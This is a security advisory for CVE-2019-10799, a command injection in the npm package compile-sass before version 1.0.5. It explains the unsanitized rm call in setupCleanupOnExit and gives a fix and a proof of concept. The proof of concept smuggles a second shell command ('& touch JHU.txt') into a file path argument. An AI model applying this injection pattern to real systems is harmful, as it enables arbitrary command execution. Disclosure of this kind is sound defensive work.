Command Injection Affecting compile-sass package, versions <1.0.5
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.37% (74th
percentile)
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Test your applications- Snyk ID SNYK-JS-COMPILESASS-551804
- published 21 Feb 2020
- disclosed 21 Feb 2020
- credit JHU System Security Lab
Introduced: 21 Feb 2020
CVE-2019-10799 Open this link in a new tabHow to fix?
Upgrade compile-sass to version 1.0.5 or higher.
Overview
compile-sass is a module to compile SASS on-the-fly and/or save it to CSS files.
Affected versions of this package are vulnerable to Command Injection. The function setupCleanupOnExit(cssPath) within dist/index.js is executed as part of the rm command without any sanitization.
PoC by JHU System Security Lab
function sleep(millis) {
return new Promise(resolve => setTimeout(resolve, millis));
}
async function main(){
var a = require('compile-sass');
a.setupCleanupOnExit('& touch JHU.txt');
console.log('Press Ctrl-C in 3 seconds...')
await sleep(3000);
}
main();
References
CVSS Scores
version 3.1